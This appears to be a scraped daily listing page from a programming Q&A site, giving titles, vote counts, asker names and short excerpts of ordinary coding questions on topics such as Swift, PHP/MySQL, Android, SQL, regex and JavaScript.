« first day (617 days earlier)      last day (457 days later) » 

12:01 AM
0
Q: New Computer throws EXC_BAD_ACCESS every time?

Ishmael KingI just got my hard drive replaced because of a problem a week ago. But not when I run any of the programs I have written in Xcode on a real device it throws EXC_BAD_ACCESS on this line of code: BOOL rb_status = [_context renderbufferStorage:GL_RENDERBUFFER fromDrawable:layer]; The simulators ...

0
Q: Date formatting in UITextField when entering a date using UIDatePicker (in UIActionSheet) in SWIFT

Martin QI'm relatively new to this so please bare with me. I would like to create a UITextField that when touched will activate the UIDatePicker in an ActionSheet manner. While there are some resources out there, it doesn't show how to format the date in this manner. The code below is the best i've loca...

0
Q: How to create an interactive (clickable) animation for responsive website?

Grace JAnyone have suggestions for object animations that can show text on hover or click? Looking for something like this on: Trying to make these crystals into objects to be interactive. Sample mockup website here.

0
Q: Avoiding Possible Precision Loss with a Simple Moving Average

JaySuppose we had a basic moving average function that was keeping track of the sum. For example: Queue values; double sum; double CalcSMA(double next) { values.push(next); sum -= values.pop(); sum += next; return sum / SMA_LENGTH; } One example of how this could break down would...

0
Q: How to get user information from a MYSQL local database

Oliver KetleyHey i need to get information from a database and display it on my index.php. <html> <body> <?php $connection = mysql_connect('localhost', 'root', ''); //The Blank string is the password mysql_select_db('users'); $query = "SELECT * FROM employee"; //You don't need a ; like you do in SQL $result...

0
Q: Reshaping a function output as a numpy array

ShanZhengYangI have two numpy arrays import numpy as np x = np.linspace(1e10, 1e12, num=50) # 50 values y = np.linspace(1e5, 1e7, num=50) # 50 values x.shape # output is (50,) y.shape # output is (50,) I would like to create a function which returns an array shaped (50,50) such that the first x value x0 ...

0
Q: Random NullPointerException appears in my app

Alexandro Sifuentes DíazSometime when I'm testing my app, an exception is throw without any chance to track the problem. This project is too big to just put all the code here, and, since this exception wont point me to where the problem has happened, I don't know which part of my code I could follow in order to get for...

0
Q: Batch Convert TXT to XLS Using VBA

ChaseI am trying to convert a directory full of .txt files to .xls using VBA. I am using the following code: Sub CSVconvertXLS() 'Variables Dim wb As Workbook Dim strFile As String Dim strDir As String 'Directories strDir = "\\vrisi01\users$\ckapitzky\windows\Desktop\Te...

0
Q: Can Emstripten compile the iostream library?

Trevor HickeyI'm on Ubuntu. $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty I installed Emscripten. $ sudo apt-get install emscripten I wrote the following C++ program: #include <iostream> int mai...

0
Q: How to check for the existence of a subscript operator?

Jared HoberockI want to write a type trait which uses SFINAE to check a type for the existence of a subscript expression. My initial attempt below seems to work when the subscript expression is possible but does not work when the bracket operator does not exist. #include <iostream> #include <vector> #include <...

0
Q: Three table query using Linq/Lambda in EF

J. DavidsonI have three table Table start (Id, acctId, detailId) Table detail (Id, name) Table items (Id, detailId, desc) Table A has one to one relation with detail table and detail table has one to many relation with items. I am trying to write a lambda or linq query so for a given acctId i get name ...

0
Q: Rotation: Quaternion to matrix

Jary316I am trying to display a 360 panorama using an IMU for head tracking. Yaw works correctly but the roll and pitch are reverse. I am receiving (W, X, Y, Z) coordinate from the IMU that I am storing in an array as X, Y, Z, W. The next step is converting the quaternion to a rotation matrix. I have ...

0
Q: Setup PHP on Ngnix

bobthebuildercoderHow can I install php on my server and use it for my websites? I am on nginx btw and not apache so its not default. I installed mysql and php using apt-get on ubuntu. Also can I use php and node.js on the same website? I do not know where to start and don't have code to post. thanks

-1
Q: How to modify a form property for more than one forms in c#

EmrullahI want to know if I can modify a form property one time and have it apply to all forms (design-time). I have 25 forms in my c# project. I need to change their size, all to the same value. It takes a long time to change their size one by one. Thus, I am looking for a way to change the sizes one ...

0
Q: d3 donut charts of varying radius

JsufI would like to recreate something similar to the following examples: http://bl.ocks.org/mbostock/3888852 http://bl.ocks.org/mbostock/1305111 The only difference is that I want to control the radius of each donut, rather than having it be the same for all of them. How do I dynamically vary th...

1
Q: ExpressJS dynamically generated pages - will search engines create listings based on query parameters?

docta_faustusI'm creating a directory website of local businesses in a geographical area. The hope is that if you search for something like "plumbers in New York City" then you'll see a link to the domain that will show all plumber records in a 10 mile radius from NYC. Let's say I have routes set up like thi...

1
Q: Eclipse C++ OpenGL - Cant Build Project

KniknokOneHayhoo everyone ~(°-c° ~) So I just installed Eclipse on my new PC (using Mint 17.1) and run into this error with almost every Project so far. The problem is that when I want to launch my project I get the error: "Launch Failed. Binary not found." I already tried to Build the project but then ...

1
Q: LinearLayout weight choices

Katedral PillonWhy would someone use weights 2:4 instead of weights 1:2? I am looking through a Udacity course layout. It's a LinearLayout with two children views. and the children are given weights 2 and 4 respectively as opposed to 1 and 2. Why is that?

0
Q: HTML/CSS/JQUERY - Dropdown disappear when not hovering on menu

Magnus PilegaardI'm trying to create a dropdown menu, which has ben going well so far. I just came across 1 problem. When i'm not hovering on on the menu title, the dropdown disappears and so do the hover effect on the menu. my code might seem very messy, and a bit complicated. I apologize. JSFIDDLE: https://...

0
Q: Git Clone from GitHub over https with two-factor authentication

peter-bI recently began using two-factor authentication on GitHub, and I am now unable to use git over https on private repos in the usual way: peter@computer:~$ git clone https://github.com/[...]/MyPrivateRepo Cloning into 'MyPrivateRepo'... Username for 'https://github.com': [...] Password for 'https...

0
Q: JQuery Scroll To Anchor Only On First Scroll

ColeI am looking for a JQuery solution to automatically scroll to the first anchor point on a page on only the first scroll action. The opening of the website is a full screen video with a down arrow letting the user know they can scroll down for more sections. If the user uses the scroll wheel, I ...

0
Q: Rasterize spatialpolygons in R giving raster with NA values

Joke O.I am having issues converting this spatialpolygondataframe to a raster. When I do ther conversion, the raster has NA as its values. As shown below: LFRP<-as.vector((h5read(x,"FRP"))/10) SPP<-SpatialPolygonsDataFrame(polys2,data.frame(LFRP)) SPP [1] class : SpatialPolygonsDataFrame featu...

1
Q: How to use a segmented control to alter container views

Kody R.I'm trying to use a segmented control change through multiple views inside a container view. I'm not sure how to embed multiple views inside the container view. I saw a tutorial how to do it in Objective-C, but I am coding in Swift. Is there a way to embed multiple views inside a container view ...

0
Q: Sending image via whatsapp api using c#

m1m6hello i'm trying to send an image using c# but the image not delivered and there is no exception message !!! here's my code byte[] img = File.ReadAllBytes("e:\\img.gif"); wa.OnConnectSuccess += () => { MessageBox.Show("Connected to whatsapp..."); wa.OnLoginSuccess += (...

0
Q: Parsing the text in a file

Python ProgI am trying print the contents of a text file using below code,the text file will only contain one line,my current output is as below which is a list with "\r\n" at the end,I want to the output to be as shown in "EXPECTED OUTPUT" ? branch_textfile = branch + '.txt' with open(branch_textfile, '...

0
Q: Backpropagation Neral Network with Single HIdden Layer and its implementation by C

takahashi ryoheiI am trying a test program to implement neural network which approximates sine curve via back propagation. I am using C for coding and all components of the neural net are implemented by array. However, all outputs of neural net are positive value, even if the learning has finished. I am not...

1
Q: Three.js (r71) - Assigning the animation name to import it to three.js

Erica OkamuraI was wondering...if a Blender file contains many animations, how will the three.js library know which animation you want to open on the browser? Because since the THREE.AnimationHandler.add() was deprecated, you should use the THREE.Animation (mesh, geometry.animation) function, which does not r...

1
Q: Having trouble creating Gradle flavors for different manifests in a single app

Genia S.I'm following these instructions for creating flavors and Android Studio keeps complaining that it can't find /path/to/my/project/app/src/main instead of main as per the directions I have a folder called portrait and a folder called landscape in other words /path/to/my/project/app/src/portr...

0
Q: Reduce/Summarize and Replace Timestamped Records

James SantiagoI have a SQL table that has timestamped records for server performance data. This data is polled and stored every 1 minute for multiple servers. I want to keep data for a large period of time but reduce the number records for data older than six months. For example, I have some old records lik...

0
Q: How to enable WASAPI exclusive mode in pyaudio

Dmitry MisharovI'm using these precompiled binaries of pyaudio with WASAPI support. I want to play a wav file via WASAPI. I found index of default output device for this api: import pyaudio p = pyaudio.PyAudio() print p.get_host_api_info_by_index(3) >>{'index': 3, 'name': u'Windows WASAPI', 'defaultOutputDev...

0
Q: Regex to model the below mentioned type of expressions

CSK | SITE | Morning | Afternoon | Evening | Night | | Long 144 - Lat 18 | 100 | 150 | 10 | 5 | | Long 161 - Lat 122 | 100 | | | 5 | | Long 100 - Lat 134 | 100 | | 5 | | | Long 190 - Lat 14 | | 150...

0
Q: Flask-SQLAlchemy: multiple filters through one relation

keizomI have two models, Tags and Photos, that have a many-to-many-relationship like so: tag_identifier = db.Table('tag_identifier', db.Column('photo_id', db.Integer, db.ForeignKey('photo.id')), db.Column('tag_id', db.Integer, db.ForeignKey('tag.id')...

0
Q: longest match without substring

Emil Kakkaui wondered if it is possible using sed to match the longest string NOT containing a substring. regarding the following snippet echo "blabla/a/b/dee/per" | sed -r -e 's:([^/a]*):\1:g' i am trying to print out the longest match containing any sign indicated by * but not including the substring ...

0
Q: Unable to see the output while recording the key strokes using jnativeHook

mohan babuI'm trying to record the keystrokes when ever i perform some key events like left,right,move,press,release etc.Initially when i wrote the code and compiled it i was able to record the key strokes.However,When i compiled after a little bit of code indentation it is showing the following statement ...

0
Q: Asp.net Web API cant read file from file path

KBBI am developing an azure asp.net web api 2 ,and in my api i am trying to read a dataset ,however i couldnt get my dataset.csv path.I connect to ftp server and i found the rout is : ..../site/wwwroot/dataset.csv this , I tried this string path = "/site/wwwroot/dataset.csv"; and also this str...

0
Q: android dialer to a fixed number

SawpnoI'm trying to make an android project that will dial a fixed number. It is working when I'm using normal number like 01712364445 or something like that. But when I'm using this number *566# it is dialing to *567 that is # is missing.how to solve this ? My code is here... gp = (Button) findV...

-1
Q: 401 Unauthorized when trying to make call to API

Jordan JohnsonWhen I attempt to make a call to this Rest API, it will return "Unauthorized". I have tried various ways of authenticating with it, but none have worked. I have already confirmed that the credentials and URL are correct. Is there another way that I should be passing the credentials? Sample code ...

0
Q: Adding content to the existing view from conroller action

GladI am new to rails . I have a view(retrievenames.haml) which receives the user input(form) and on click of submit a controller action is invoked. The controller action reads the input from the user and performs an API query and retrieves some information (say list of names). I want the retrieved l...

0
Q: JQuery filter on select input with mouse doesn't work

gcraillI am a bit of a newbie at this jQuery/java stuff. I have trawled a lot of hint pages on here and other sites and most of my code works but I have an issue I have not been able to overcome so far. What I want is a cascading series of select elements that change the values available in following s...

0
Q: Google Spreadsheet -> Google Calendar [errors, & code help]

Sterling ElyI've been using a script to pull data from a Google Spreadsheet and use that info to populate a Google Calendar. It works for the most part, but is very unstable: sometimes it does not work, and most times it generates an error, even if it does work. One error I get a lot is "Cannot find method...

0
Q: empty _POST field

Undermine2kIm trying to send files to my server using Jquery File Uploader, I have the $_FILES array but not the $_POST array: Input Form <form id="upload" method="post" action="playerstats/validate_upload" enctype="multipart/form-data"> <input type="file" name="uploadctl" multiple /> <ul id="fileList">...

0
Q: How to generate dynamic reports using checkboxes?

Sharjeel ArshadI am having problem in asp.net code, I am trying to generate dynamic report using check-boxes. I used stored procedure for that, my query is working fine but the problem is with check-boxes. It only displays report when i check all check-boxes!, otherwise it gives error. I have tried a lot but st...

0
Q: Installing alembic on OSX, incomplete error

YasinWhat's the proper way of installing alembic on OSX? I tried brew install alembic and it starts fine but after a while it finishes halfway printing these: ==> cmake . -DCMAKE_C_FLAGS_RELEASE= -DCMAKE_CXX_FLAGS_RELEASE= -DCMAKE_INSTALL_PREFIX=/usr/local/Cellar/al -- Skipping Arnold plugins -- Ski...

0
Q: NGINX returning 400 bad request randomly with proxy_pass

user295583058While working on a Node.JS API (proxied by NGINX), the webserver proxy randomly returns the default NGINX 400 bad request error page. By random I mean it will go through and work fine but then the exact same request could fail randomly and give 400 bad request. The error logs show [error] 20893...

0
Q: Error in formatNoSci(value) : argument "value" is missing, with no default in Shiny

Matt O'BrienI have a very simple Shiny. For some reason I get the errors Error in formatNoSci(value) : argument "value" is missing, with no default and Error in force(ui) : object 'ui' not found. I've googled these errors and can't find anything. I can deduce that the ui isn't getting built for some reas...

0
Q: Facebook graph json output

topedgeHere is what I get: { "data": [ { "name": "company name", "id": "123456789123456" } ], "paging": { "cursors": { "before": "MAZDZD", "after": "MAZDZD" } } } How do I get the id? I have tried $content->data[0]->id but no luck ($content is the json array)

0
Q: Receiving array in route data to be used in Where func + MVC

programmerboyI am receiving an array in route data containing different string values. Since I don't know how many string values I am going to receive, I cant have a definite Where function. Hence I am looping through the array and making multiple calls to DB set, fetching the result and adding it into anothe...

0
Q: How to tell if a type is a subclass using type_info?

JimmiI use C++ with RTTI. I have a type_info of a class. How can I tell whether another class is a subclass of the first one, if I only have the type_info? #include <typeinfo> class Foo { public: virtual ~Foo() {} }; class Boo: public Foo { public: virtual ~Boo() {} }; class Bar ...

0
Q: html5 manifest in an mvc4 app

peterson99I'm trying to implement html5 manifest functionality inside an mvc application ... I've used the following link as a starting point: html5 cache-manifest file in mvc3 and windows azure returns 500 error However, unlike him I'm getting the error event"Failed to parse manifest" when deploying loca...

0
Q: ASP.NET MVC - How to add an Address to an Event?

R CabardoI am fairly new to MVC and any help would be appreciated! I have an Event model class and an Address model class. I am trying to add an address from the View and link it to an Event. Not sure what I need to do in the Controller and the View. I know I need to use a partial view but my issue is w...

0
Q: Dynamic "src" for <bitmap> tag in Android xml

DiscDevQuestion: Is there a way to dynamically set the "src" attribute on an XML "bitmap" in an Android XML file? I have a custom XML drawable named "repeat_background.xml" defined as such: <?xml version="1.0" encoding="utf-8"?> <bitmap xmlns:android="http://schemas.android.com/apk/res/android" a...

-2
Q: Working in Corporate IT vs Software Company?

Jd7Not really a specific programming question, and I had a hard time determining if this is an appropriate question to ask here, so if it's not I sincerely apologize. I'm just looking to hear some opinions and I figured this would be the best place to ask considering most of you here probably have e...

0
Q: Connections with the Excel and Access Database are preventing me from getting exclusive database

user3846155I have an access database that users are connecting to with excel files. I have way of managing people who are logged on using Access. However, I do not have a way to manage people who are connected to the database using excel. It is my front in so I am not worried about the Data I just want ...

0
Q: Ruby on rails Name error in scope

Ruby GuptaI have problem in my project, i am trying to create chat box. but every time i'm getting same error: undefined local variable or method `user' in my conversation.rb . i don't know were i went wrong. The error which i receive in my web page is: NameError in ConversationsController#show undef...

0
Q: How do I make an activity wait until Facebook login is complete?

Taylor SimpsonI am trying to make an application for the Android platform. So far I have two activities. Both have fragments. The first activity at the moment is using the Facebook api so that users can sign in. I want my first activity to switch to the second activity once the login is complete. I tried using...

1
Q: How do I make an image in the center of a screen?

bryce sheridanHere is my HTML code. How do I set a image in the center of all screens? <html> <head> <title>Hub</title> <link rel="stylesheet" href="hub.css"> </head> <body> <div id="button1"> <img border="0" alt="Home" src="images/buttons/home.png" width="100" height="100"> </div> </body>...

0
Q: how to define a property as sortproperty in xsd

user2217149I want to sort a list of employees based on names , list of student based on their total marks if their total marks are equal then I have to give preference to their names, In order to implement this functionality I have written a sort strategy in xsd. Is there any possible method through which ...

0
Q: How to automatically zip files with Node.js and npm

DmitryIs there a way to automatically zip certain files at the build time with Node.js and npm? For example, I have a project, that file structure looks like this: Project/ --lib/ --node_modules/ --test/ --index.js --package.json I want to be able to zip lib folder, some certain modules from node_m...

0
Q: Host website on Dropbox with custom URL that updates

davlyI recently started learning HTML and decided I'd put together a basic website as I think it's a very useful skill to have. At the moment my entire website is one HTML file and one image. I had the thought of hosting the website on Dropbox in the public directory which worked out great in the beg...

0
Q: How to get nil if something can't be evaluated?

Epic DefeaterI am using NSExpression to solve strings from user input. Here is the code var userInput = "5+" var solveUserInput = NSExpression(format: "\(userInput)") It will crash my program because it can't solve it, but what I want to do is to return nil if the string is unsolvable by NSExpression. Is ...

0
Q: alfresco custom action for secure timestamp - error using BouncyCastle

Pedro CamposI'm a newbie to developing to alfresco so here is my question. I'm developing a custom action in alfresco wich goal is to create a detached Secure Time Stamp of a document. Here's my code: String tsaUrl = "http://ts.cartaodecidadao.pt/tsa/server"; OutputStream out = null; HttpURLConn...

0
Q: Repositioning Scroll to Top Button when Footer appears

user5091900There has to be a way to get my scroll to top button to treat the top of the #footer container as soon as a site user has scrolled down far enough so that the footer appears on screen, right? Right now it wants to just stay fixed in the lower left corner of the screen - which makes sense but the...

0
Q: Django request very very slow with dynamic serializers

user3214546In my serializers.py file , i had almost same code for every serializer so instead of hard coding . i have did like this def class_factory(classname, model_name): class ModelSerializer(BaseSerializer): class Meta: model = model_name for m in list_models: globals(...

0
Q: How to test $element in AngularJS controller using Karma?

MaG3SticanI am having a problem were I have a controller in my app which I use like <div ng-controller='LogbookEditCtrl'> </div> and this controller has a $element provider in it which I need to modify the element. describe('LogbookEditCtrl', function(){ 'use strict'; beforeEach(module('logbooks.edit...

-1
Q: Screen Share (OSX Yosemite) with Linux machine -- options?

Thankful CromartieI have a specific question pertaining to how I can work remotely using my Mac. The group I work for requires you to go through a "login" portal (a machine that you have to ssh to before accessing any other of the group's machines). The address for that is, say, myname@login.group.edu. I then ss...

0
Q: What's the roadmap for blueprint?

zachariahyoungI would like to understand the direction for blueprint on jboss fuse. Since it appears to be the default dependency injection framework for fuse I would like to know if any improvements are planned? Other DI frameworks are using less and less xml for configuration and using java for configura...

0
Q: Eliminating White Space in WordPress Themes

Chuck WilliamsHow do I raise the contents closer to the head? The Left column should be closer to the dancing baby. The main area (starts with About Us) should be closer to the menu Fun Fun Fun. Don't worry about the white space above the menu... I have plans for that area. AND... can the answer help wi...

0
Q: html5 video's readyState is always 4 even if it stucks

user2840143My problem is that, when network condition is very bad, html5 video would start buffering before it drains the buffer, which means there's always something left in the buffer, which make 'readyState' always 4 which means HAVE_ENOUGHT_DATA even thought the video is already stuck.

0
Q: iPhone to iPhone communication

Manikandan DI am developing two apps in swift which should communicate with another iPhone device and waiting for their response over Global. I am using remote push notification and it's working fine, but its not receiving notification while the app in foreground state and has some push notification related...

0
Q: Code is not looping. Dont know the reason why

AlanhjkimIn this code, I have a series of function. In my main function, where it shows the algorithm of the loop that is supposed to happen, it seems that it only goes through it once, and then stops. I'm writing this for my simon says game. Here is part of my main algorithm which contains the OnTapList...

0
Q: Regex string: specific requirement

JohnKI am trying to get my regex string right but I don't seem to get it working as it should. I have a numeric field that should have 5 digits. The digits can start only with 04xxx and 5xxxx This string is not covering it completly: /[05][0-9][0-9][0-9][0-9]/ it forces to start with 0 or 5 fo...

0
Q: Why will this not run?

Bahi Ashrafanswr = input(" Convert to celsius or fahrenheit?") if answr == "fahrenheit": print ( "fahrenheit" ) else: print ('celsius') celsius = int(input("Temperature =")) fahrenheit = int(input("Temperature =") fahr = float(input("fahrenheit" * 1.8 + 32)) cels = int(input('celsius' - 32) * 1.8) ...

0
Q: Add an image to the open conversation with Intent - Android

John BridgeI have an Input Method with a panel of gifs (GifMovieViews). I currently have an Intent that selects the app that is currently open and a panel comes up to select the conversation. I would like to be able to insert the image into the open conversation instead of it asking them to choose one. Cur...

0
Q: BigQuery command line tool returns different results

polleygWe have a table in BigQuery which has one row: But when we run a query using the command line tool (bq query...), it returns 2 rows, and they are identical: Why are we getting different results?

0
Q: Sonatype Nexus Consuming Large Amount of Memory

DougHoping someone with a bit more knowledge of java than I have can shed some light here. I have a Sonatype Nexus setup which I have inherited and it is consuming a large amount of memory in a very short amount of time. In fact after restarting the service, used memory went from 963MB to 6448MB in ...

0
Q: replace column in data frames replace based on second data frame

AntexI have two data frames. Want to match the contents of df1$v1 and df2$v2 where they match, replace corresponding df2$v2 content with df1v2 content. df1 v1 v2 1 a1 2 a2 3 a3 df2 v1 v2 v3 v4 c1 1 c3 c4 d1 2 d3 d4 e1 3 e3 e4 Looking for this final output. df2 v1 v2 v3 v4 ...

0
Q: Developing with Google Adsense/DFP

Michael BatesI'm developing an app that will use Google Adsense or DFP as a method of monetisation. I've tried searching for some reliable info but I can't find any. How do I run a development environment with Adsense/DFP so that ads will show, but not create revenue in our account? Obviously if I just put t...

0
Q: PHP 5.4 does not recognize parent constant

Maico Borgesi migrated my cloud server, and after install all lamp stuff and clone my repository my php just does not recognizes the 'parent' constant. My log says. [Wed Jul 08 21:29:28 2015] [error] [client 186.223.169.223] PHP Notice: Use of undefined constant parent - assumed 'parent' in /home/dev/x...

0
Q: Does creating a snapshot download the data?

Marty.HDoes it download the data when you call the snapshot or when you use it for something? For example, would the code below just download the data from "pushedItem3" or would it download all of the data? example data: List-1: { pushedItem1: {data}, pushedItem2: {data}, pushedItem3: {d...

-2
Q: Creating mysql database for multiple users

deepak guptasharmaI am working on java web application. I want to create a mysql database in my localhost and I want it to be accessed by my another teammate who will be working in the same project in the local host. I want database changes by both users to be reflected in the database dynamically. Please help...

0
Q: How Do I Exclude a Particular Package Version with SBT

badcookRight now, in my build.sbt I have a libraryDependencies that has something like "some.package" %% "package-name" % "[1.4.2, 1.5[" as one of its elements. Now let's say version 1.4.6 introduces some bug that's fixed in 1.4.7. How can I rewrite my dependency string to include all versions from ...

-2
Q: Running Python Code

user81812I'm completely new to Python and I am struggling to run a piece of code. I've put the code into IDLE and ran it but it returned nothing. Below I have attached the code and also the results that should accompany it. I am just wondering how you can get from the code to the results. Hopefully it is ...

0
Q: windows universal app login/register from asp.net api

bramalhoI have two applications. The first one is an asp.net mvc api, this application contains the users with local login/register and only facebook login. The second one is a windows universal app. On windows universal app I want to make the local login/register and facebook. I've been looking for som...

-1
Q: an overload of the += operator which allows adding a flower to the bouquet. how can i add flower to bouqet?

kakakakaclass Flower { private: string name; string color; double pricePerUnit; bool perfumed; bool onSale; }; class Bouqet{ private: int count; int size; Flower *flower; public: Bouqet& operator+=(const Bouqet& rhs); }; int main() { Bouquet b1; ...

0
Q: VS2013 Repair/Install Fail (Missing one or more Components)

Arkady LevinI have install some software and after that I wasn't able to open my VS2013 Community, the error I get: Missing one or more Components Please Reinstall The Application I have seen a lot of people with same error message but all have different reason for it and none helped me, I try to Repa...

0
Q: Script to total hours by calendar category in Outlook

Craig SchwarzeIn Outlook, I'd like a VBA script that will loop through all of the appointments in a day and total the hours by category.

0
Q: How to disable Web-Audio analyzer filtering high frequencies

Hanan ShteingartI am studying the html5 audio API. I have noticed the analysis module has problems processing high frequencies. It is as if there is a build in filter in it. For example, if I emitting a 20Khz tone and plot the outcome of getFloatFrequencyData I see the following spectrum: However, if I use Aud...

-1
Q: ViewController.type does not have a member named

user2708570My code is: import UIKit class ViewController: UIViewController { @IBOutlet weak var answer: UILabel! @IBOutlet weak var minNum: UITextField! @IBOutlet weak var maxNum: UITextField! let min = minNum.text.toInt() I'm getting the error: ViewController.Type does not have a member named 'minNum...

0
Q: MySQL Order Rows by Last Characters in a String

kmecppI'm using an sqlite database for my Java application and I have a varchar column with a bunch user stats that is written, read, and parsed by my Java program. What I want to do is have an SQL query that can sort the rows by the last stat in the column. The stats are separated by commas and their ...

0
Q: Fast spatial search algorithm/package

user3093455I have a dataset which has spatial objects (the red blobs in the picture below) that cover a number pixels or grid points - but has irregular shapes. I have another dataset which consists of points with 2D coordinates and I want to know whether each point in this dataset is within a certain dista...

0
Q: Simple Modal Not Working Likely Due to Conflict

Meilech Leib DuBrowThis should have been simple. I want to insert a simple JS modal into my Bootstrap 3 page here: http://www.redfuryrevenge.com/index2.html. I literally copy and pasted it from the Bootstrap page as follows: <button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#m...

0
Q: How can you get input from an 8 pin gyroscope using a Raspberry Pie?

PabiI am new to raspberry pie and coding in general, and I would like to know how I would go alone to get input from the gyroscope (kootek gy-521mpu-6050 mph-605 modul3 access analog gyrocencers) that I would later be able to use and manipulate. Thank you very much for the help.

0
Q: Subdomains cant load css or images

goeiu3euFirst time happend this to me , i created a subdomain example.domain.com and a link to style.css cant be loaded. All files are there when i try to open file with URL it show me 404 not found. But on domain.com/example it work and css and images ? I searched alot on internet but i didnt find not...

0
Q: Is it possible to "convert" a markov chain into a neural network's initial state, to "seed" it?

AsmageddonE.g. neural networks take a while to "start up", and with big enough datasets, that could be weeks or months of wasted time, and my idea is to provide a better starting point, that is closer to coherence, based on a simple markov-chain-based model to reduce said amount of time. I tried googling ...

0
Q: Emitting an HTML string from anonymous type property in a repeated, dynamically-typed Partial View

brichinsI am passing an anonymous type into a dynamic partial view as part of the @model, and one of the properties is a string that contains some HTML. When I use the HtmlHelper methods to render the property, the Razor engine is encoding the string, resulting in literal text on the page - <i>text</i> i...

0
Q: How to copy 2 text boxes into 1 using CSS?

David JamesI've got 2 text inputs, 'First_Name' And 'Last_Name'. I have a 3rd text box that I want to display the whole name, i.e. 'First_Name Last Name'. So far I've worked out how to copy text from one box to another - <script> $('#TextBox1').blur(function() { var sourceElement = document.getElem...

0
Q: Display only matched string with grep

James KoI have a file that I want to match that looks like the following: ... new VideoInfo(6, VideoType.Flash, 270, false, AudioType.Mp3, 64, AdaptiveType.None), new VideoInfo(13, VideoType.Mobile, 0, false, AudioType.Aac, 0, AdaptiveType.None), new VideoInfo(17, VideoType.Mobile, 144, false, AudioType...

-1
Q: Implement bubble sort for array in Visual Basic

Stephanie CorreaI have an array and I have loaded it with 25 random numbers that range from 0 to 1,000. I have a button to fill the array and a button to sort the array. I have to sort the array from smallest to largest number using bubble sort code. I missed class and I don't know how to do it. Here is what I...

0
Q: Defaults for Backbone views

Alex MillsI have this annoying problem and I get the feeling it's because we can't use defaults for Backbone Views as we would with Backbone Models. My goal was to use defaults with a Backbone View and then override them with options passed to the initialize function as desired. The problem that I am havin...

0
Q: Can't get the Cordova cordova-plugin-wakeuptimer Plugin to work

user2929068I'm using Cordova/ionic to create an app where the user can set a timer and the alarm will run when it's time, I'm using this plugin cordova-plugin-wakeuptimer to fire the alarm, it's working fine I can see that the alarm is fired and redirected to the app, in the successCallback function I try t...

0
Q: Split field values using specific character by mysql

Myrts Grcsorry for the repeated question. I already asked for help about this by the use of ORACLE database. But now I really wanted to know how can I split this using MySQL database It is possible to split field values using a specific character? Here is my sample table value 10uF 2K 1.0uF 200UF I wa...

0
Q: Microsoft Azure SendGrid Email Verification

Kawaii ChoThis question has been asked before, but enough time has passed since the last that Azure's probably changed in some way to invalidate previous answers, so: I've set a SQL database and a SendGrid account on Azure - the foundations of my account registration system. What happens: Users ente...

0
Q: Creating in-memory hashmaps in java

user320550I will have my data stored in MongoDb and have multiple collections (equivalent of tables) in the db. Each collection is namespaced and has a whole lot of documents in there. We need to have a fast lookup of our data and hence don't want to query the db each time. My webapp is spring based. On ...

-1
Q: How could one fix this?

javanoobHere's the code I've written: public class program8 { public static void main(String [] args ){ int myguess; Scanner myscanner = new Scanner (System.in); System.out.println("Welcome to the program that will determine your fate, Star Lord"); System.out.print("Do you guess even (enter a 1) or...

0
Q: Adding bar button items to nav bar without navigation controller in Swift

dperkI'm trying to add multiple bar button items to each side of a custom nav bar. I'm using the following method but nothing shows up. There are a few threads on this in Obj-C but I'm struggling to translate the syntax. Is there a workaround for this in Swift? @IBOutlet weak var navBar: UINavigation...

0
Q: How to use WinAPI UpdateResource in PowerShell?

Chad BaxterI am writing a small powershell function to change executable icons, I'm kind of stuck. I have the icon extraction working but I can't see to be able to get WinAPI's UpdateResource working properly in powershell. The extraction code: Function Extract-Icon([string]$OriginalItem, [string]$Destina...

-2
Q: a app esta a dar este erro Notice: Trying to get property of non-object in C:\wamp\www\TeamDuramuk\Atletas.php on line 49

miguelajuda connect_error){ die("Falhou a ligação: ".$conn->connect_error); } $sql="SELECT cod_atleta, nome, peso, idade, data_inscricao FROM informaçâo"; $result=$conn->query($sql); if($result->num_rows>0){ while($row=$result->fetch_assoc()){ echo "Cod_atleta...

0
Q: MYSQL SUM & INSERT

user3124689I've been pulling my hairs apart to work out how to achieve the below. I've created a SQL fiddle with the table structures & data at http://sqlfiddle.com/#!9/56e8d8/2/0 With reference to the fiddle, I'd like the table MASTER_ALL to look as below +-------------+-------------+-------------+----...

0
Q: How to Copy data from XML Column and Insert it into a Table which Contains column names same as XML Tag Names in MS SQL SERVER

VinodhSay If I have Table which contains Single Column of XML datype Eg: Details(Column Name in Table) <emp>--column1 <Name>Alice</name> <ID>1</ID> </emp> <emp>--column2 <Name>Bob</name> <ID>2</ID> </emp> Now I need to read this column from the table and i...

0
Q: Batch script reading lines on cnd

PandianWe have below shell scripts , could you please help to write the batch script for the same ? echo "${APP_HOME}/ggsci << EOF info all exit EOF | while read line; do set -A str echo $line case $line in PROC1) set -A str $line if [[ ${str[1] = ERRORED || ${str[1]} = STOPPED ]]...

0
Q: form, textarea,inputs do not align (width)

Gandoe DyckI've been busy trying to fix my website and for it to be responsive. I found this problem which I cannot find the solution to! link to page : http://eduweb.hhs.nl/~14042568/8020/index.html#contact The textarea is not the same width as the inputs above it, why not? i set the width in vw and just h...

1
Q: Questions regarding link_to function within Rails

user3443386I am trying to learn "How to Read API Documentation within Rails". One specific function that gives me a great deal of trouble is link_to function. URL: http://apidock.com/rails/v4.0.2/ActionView/Helpers/UrlHelper/link_to The current documentation details the following 1. link_to(body, url, ht...

0
Q: Atom Electron - Detect Dev Tools ready

JavaScriptDudeTo better use Dev Tools to debug my render process and utilize debugger call to initiate an adhoc breakpoint within the start of code, I need to detect that the dev tools is ready to use before I start my business logic. Otherwise my code spins away past the code I am debugging by the time that D...

0
Q: Couchbase N1QL: index and query on array fields

user5050058Platform: Couchbase Server 4.0 beta, Java client 2.1.3 I am looking for something similar to SQL JOIN. For example I have documents of the form where field2 is embedded in the document instead of in a separate table as you would have in a relational DB: {field1:" ..", field2:[{key:1, ...},{...

0
Q: Mongo query getting totals

JustinIf I had a schema that looked something like this: var person = new Schema({ active: {type: Boolean}, otherSetting: {type: Boolean} }); Would it be possible with just one query to get the entire total count of all people, total people active, total people inactive, a...

0
Q: Passing an enum string (not value) to a macro

simon_saysSo I had this query wherein say I have an enum and a struct that look like these, enum fields { field_1, field_2 }; struct my_struct { int field_1; int field_2; }; My specific need is, given the enum with the names of the structure members (field_1, field_2 etc) I should be able...

0
Q: Cannot find bids from post_id

